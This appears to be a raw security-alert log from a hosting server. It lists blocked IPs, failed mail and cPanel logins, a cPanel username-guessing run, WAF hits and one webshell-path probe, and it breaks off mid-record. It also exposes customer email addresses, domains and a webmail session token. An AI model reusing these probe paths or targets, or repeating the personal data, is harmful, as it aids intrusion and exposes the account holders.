rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.214
country_id: 953987
description:
Jan 16 12:19:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.135
country_id: 298795
description:
Jan 16 12:21:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.135 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.190.8.245
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/happen/13/340/1329820 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.159.87.46
country_id: 3469034
description:
Jan 16 12:21:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.159.87.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.115
country_id: 1814991
description:
2026-01-16 12:21:05 dovecot_login authenticator failed for H=(pmkqd) [171.110.83.115]:63278: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.22.182.230
country_id: 2921044
description:
2026-01-16 12:22:25 dovecot_login authenticator failed for H=ip4d16b6e6.dynamic.kabel-deutschland.de [77.22.182.230]:43007: 535 Incorrect authentication data (set_id=serene.chin)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.135.80.228
country_id: 1733045
description:
[2026-01-16 12:22:28 +0800] info [webmaild] 115.135.80.228 - cle@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.230.240.209
country_id: 3658394
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/MessageSelector.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.76.191.29
country_id: 1819730
description:
Jan 16 12:21:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.76.191.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.76.191.29
country_id: 1819730
description:
2026-01-16 12:22:01 dovecot_login authenticator failed for H=029.191.76.219.static.netvigator.com [219.76.191.29]:55857: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.22.182.230
country_id: 2921044
description:
Jan 16 12:22:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.22.182.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jan 16 12:23:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 12:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61252: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 12:24:21 H=([178.16.53.2]) [178.16.53.2]:60201 F=<kehk@kek.com.hk> rejected RCPT <info@oxbold.com>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.216
country_id: 953987
description:
Jan 16 12:24:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.198
country_id: 690791
description:
Jan 16 12:24:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 12:25:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.6
country_id: 3175395
description:
Jan 16 12:27:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.76.238
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/biotif-bold-webfont.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.117.140.226
country_id: 3865483
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/biotif-regular-webfont.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.202.7
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/product-category.php?id=2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.156.177.177
country_id: 3439705
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/concrete/js/jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.84.207.214
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/js/smooth.scroll.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.63.47.243
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/js/all.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.79.17.88
country_id: 1269750
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/js/about.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.92.105.87
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/all.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.238.56.67
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/img/photos/969507.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 87.116.134.57
country_id: 6290252
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/fontawesome/fontawesome-webfont5b62.woff2?v=4.6.3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.232.85.255
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/logoo-cabee.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.214.17
country_id: 294640
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/img/photos/558686.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.105.33
country_id: 99237
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/style.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.186.197.103
country_id: 3469034
description:
Jan 16 12:29:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.186.197.103 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.112.14.64
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/play/649/437499 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.145
country_id: 1814991
description:
2026-01-16 12:31:26 dovecot_login authenticator failed for H=(czarw) [219.159.100.145]:55593: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.162.136.217
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/maennchen/zipstream-php/CHANGELOG.md HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.145
country_id: 1814991
description:
2026-01-16 12:32:01 dovecot_login authenticator failed for H=(mdyxw) [219.159.100.145]:55593: 535 Incorrect authentication data


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-16 12:32:05 +0800] info [webmaild] 203.106.96.63 - infolab@sutsb.com.my "GET /cpsess7988926389/3rdparty/roundcube/?_task=logout&_token=dkzr09TQxF8Sbgk70NEuFCoVO50fjOlx HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.33
country_id: 953987
description:
Jan 16 12:33:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.33.144.141
country_id: 2017370
domain: www.eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.eminent.st/v3/wp-content/uploads/2016/11/takeo-cny2016-2.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 12:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58084: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.199.107.32
country_id: 1814991
description:
Jan 16 12:36:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.199.107.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.199.107.32
country_id: 1814991
description:
2026-01-16 12:36:46 dovecot_login authenticator failed for H=(BUjHAnJnEU) [183.199.107.32]:29279: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.197.242.198
country_id: 1814991
description:
Jan 16 12:36:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.197.242.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.197.242.198
country_id: 1814991
description:
2026-01-16 12:36:53 dovecot_login authenticator failed for H=(4BX5yn0Jy) [183.197.242.198]:30985: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.166
country_id: 3175395
description:
2026-01-16 12:38:13 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.166]:40964: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.204.2
country_id: 99237
description:
Jan 16 12:38:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.204.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.167
country_id: 3175395
description:
Jan 16 12:39:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.167 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.186.252.152
country_id: 248816
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Tests/Fixtures/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.125.141.80
country_id: 2245662
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Tests/Fixtures HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.209
country_id: 1814991
description:
2026-01-16 12:47:24 dovecot_login authenticator failed for H=(buuzg) [171.110.83.209]:56606: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41046: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.209
country_id: 1814991
description:
2026-01-16 12:47:58 dovecot_login authenticator failed for H=(yezck) [171.110.83.209]:56606: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.56
country_id: 690791
description:
2026-01-16 12:48:10 H=([77.83.39.56]) [77.83.39.56]:52105 F=<einkauf@briese.de> rejected RCPT <celine@ktlog.com.my>: SPF: 77.83.39.56 is not allowed to send mail from briese.de


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.173.42.196
country_id: 1562822
description:
[2026-01-16 12:48:47 +0800] info [cpaneld] 113.173.42.196 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.30.78.44
country_id: 6252001
description:
[2026-01-16 12:48:55 +0800] info [cpaneld] 66.30.78.44 - cofreth "GET /login/?login_only=1&user=cofreth&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.77.16.161
country_id: 1210997
description:
[2026-01-16 12:49:08 +0800] info [cpaneld] 103.77.16.161 - cofret "GET /login/?login_only=1&user=cofret&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofret (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.130.140.253
country_id: 3469034
description:
[2026-01-16 12:49:14 +0800] info [cpaneld] 179.130.140.253 - cofr "GET /login/?login_only=1&user=cofr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.118.33.75
country_id: 3895114
description:
[2026-01-16 12:49:19 +0800] info [cpaneld] 191.118.33.75 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.118.78.176
country_id: 1210997
description:
[2026-01-16 12:49:00 +0800] info [cpaneld] 103.118.78.176 - cofrethcommy "GET /login/?login_only=1&user=cofrethcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofrethcommy (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:49:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:43583: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.253.0.7
country_id: 953987
description:
2026-01-16 12:50:40 H=([102.254.136.0]) [102.253.0.7]:43735 F=<notification@astlog.com.my> rejected RCPT <astpkg@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.155.93
country_id: 99237
description:
Jan 16 12:51:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.155.93 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.172.189.13
country_id: 3017382
description:
[2026-01-16 12:51:39 +0800] info [cpaneld] 217.172.189.13 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.116
country_id: 2395170
description:
Jan 16 12:51:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.116
country_id: 2395170
description:
Jan 16 12:51:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 12:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61319: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.203.155
country_id: 3469034
description:
Jan 16 12:53:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.203.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.110.83.209
country_id: 1814991
description:
Jan 16 12:53:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.110.83.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.209
country_id: 1814991
description:
2026-01-16 12:53:21 dovecot_login authenticator failed for H=(fmxim) [171.110.83.209]:65334: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.26
country_id: 3057568
description:
Jan 16 12:53:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.175
country_id: 3469034
description:
Jan 16 12:53:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 12:54:24 H=([45.144.212.242]) [45.144.212.242]:61940 F=<lynnied@mhtc.net> rejected RCPT <sales@wohcheong.com.my>: Unrouteable address


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.66.64.226
country_id: 3469034
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/company/introduction/syssales/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/css/common.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.175
country_id: 3469034
description:
Jan 16 12:53:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.253.0.7
country_id: 953987
description:
2026-01-16 12:54:57 H=([102.254.136.0]) [102.253.0.7]:43728 F=<notification@ktlog.com.my> rejected RCPT <jacklim@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.56.81
country_id: 1733045
description:
2026-01-16 12:57:22 dovecot_plain authenticator failed for H=([192.168.12.56]) [113.211.56.81]:55596: 535 Incorrect authentication data (set_id=nocser)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 12:57:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.133.30
country_id: 3469034
description:
Jan 16 13:03:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.133.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.123
country_id: 690791
description:
Jan 16 13:04:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.133.30
country_id: 3469034
description:
Jan 16 13:04:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.133.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 13:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58120: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.60
country_id: 1269750
description:
Jan 16 13:04:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.23
country_id: 2300660
description:
Jan 16 13:04:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 13:07:35 H=([45.144.212.242]) [45.144.212.242]:61776 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <marina@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.185.147.80
country_id: 3469034
description:
Jan 16 13:06:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.185.147.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.109.233.181
country_id: 2017370
description:
Jan 16 13:12:31 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.109.233.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-01-16 13:12:33 dovecot_plain authenticator failed for H=(noxang) [89.109.233.181]:37026: 535 Incorrect authentication data (set_id=mail@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.109.233.181
country_id: 2017370
description:
Jan 16 13:13:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.109.233.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-01-16 13:13:16 dovecot_plain authenticator failed for H=(rubloty) [89.109.233.181]:53411: 535 Incorrect authentication data (set_id=dexter.sow@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.87.157
country_id: 3469034
domain: mail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.fimco.com.my/cgi-bin/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.187
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/c-bible/images/knowyourtyre.php||SC:/home2/fkrcom/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.140.79.2
country_id: 953987
domain: mail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.fimco.com.my/cgi-bin HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.226.107.70
country_id: 3469034
description:
2026-01-16 13:15:38 dovecot_login authenticator failed for H=(72-107-226-38.edgetelecom.com.br) [38.226.107.70]:35682: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 13:15:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41056: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.226.107.70
country_id: 3469034
description:
Jan 16 13:15:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.226.107.70 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.153.90
country_id: 1733045
description:
161.142.153.90 - - [16/Jan/2026:13:16:01 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662404&pdata=https%253A%252F%252Fmail.tujusetia.my%253A2096%252Fwebmaillogout.cgi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768540559 HTTP/2.0" 302 0 mail.tujusetia.my "https://mail.tujusetia.my:2096/webmaillogout.cgi" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.153.90


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 13:17:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:44186: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 13:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61470: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.210.189.21
country_id: 3277605
description:
